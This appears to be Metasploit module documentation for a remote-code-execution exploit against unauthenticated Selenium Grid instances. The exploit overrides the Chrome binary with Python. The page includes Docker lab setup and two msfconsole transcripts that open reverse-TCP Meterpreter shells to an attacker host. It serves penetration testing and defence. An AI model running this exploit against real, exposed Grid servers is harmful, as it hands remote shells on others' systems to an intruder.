Files
metasploit-gs/documentation/modules/exploit/linux/http/selenium_greed_chrome_rce.md
T
2026-02-21 12:07:08 +01:00

4.1 KiB

Vulnerable Application

Selenium Grid exposes a WebDriver API that allows creating browser sessions with arbitrary capabilities. When deployed without authentication (the default), an attacker can create a Chrome session with a custom binary path via goog:chromeOptions, replacing the Chrome binary with an interpreter such as Python to achieve arbitrary command execution.

This technique was documented by Wiz Research as "SeleniumGreed" and has been observed in real-world cryptomining campaigns targeting exposed Selenium Grid instances.

The default Docker images run as seluser which has passwordless sudo, allowing trivial privilege escalation to root.

The vulnerability affects:

* Selenium Grid < 4.11.0 (stereotype capabilities merge was introduced in 4.11.0, preventing binary override)

This module was successfully tested on:

* selenium/standalone-chrome:4.1.0 installed with Docker on Ubuntu 24.04
* selenium/standalone-chrome:4.10.0 installed with Docker on Ubuntu 24.04

Installation

  1. docker pull selenium/standalone-chrome:4.10.0

  2. docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-chrome:4.10.0

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/selenium_greed_chrome_rce
  4. Do: set RHOSTS <rhost>
  5. Do: set LHOST <lhost>
  6. Do: run
  7. You should get a session

Options

No non-standard options.

Scenarios

Target 0: Python In-Memory - selenium/standalone-chrome:4.10.0 on Ubuntu 24.04

msf6 > use exploit/linux/http/selenium_greed_chrome_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set LPORT 4445
LPORT => 4445
msf6 exploit(linux/http/selenium_greed_chrome_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.10.0 detected (vulnerable to binary override)
[*] Sending session request with binary override...
[+] Payload executed (server returned 500 as expected when Python exits)
[*] Meterpreter session 1 opened (172.17.0.1:4445 -> 172.17.0.5:42850) at 2026-02-21 11:50:00 +0100

meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer     : 172.17.0.5
OS           : Linux 6.14.0-123037-tuxedo
Architecture : x64
Meterpreter  : python/linux
meterpreter >

Target 1: Unix/Linux Command Shell - selenium/standalone-chrome:4.10.0 on Ubuntu 24.04

msf6 > use exploit/linux/http/selenium_greed_chrome_rce
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set LPORT 4446
LPORT => 4446
msf6 exploit(linux/http/selenium_greed_chrome_rce) > set FETCH_SRVPORT 9080
FETCH_SRVPORT => 9080
msf6 exploit(linux/http/selenium_greed_chrome_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.10.0 detected (vulnerable to binary override)
[*] Sending session request with binary override...
[*] Sending stage (3090404 bytes) to 192.168.240.3
[*] Meterpreter session 1 opened (172.17.0.1:4446 -> 192.168.240.3:56566) at 2026-02-21 11:55:58 +0100
[+] Payload executed (server returned 500 as expected when Python exits)

meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer     : 172.17.0.5
OS           : Linux 6.14.0-123037-tuxedo
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >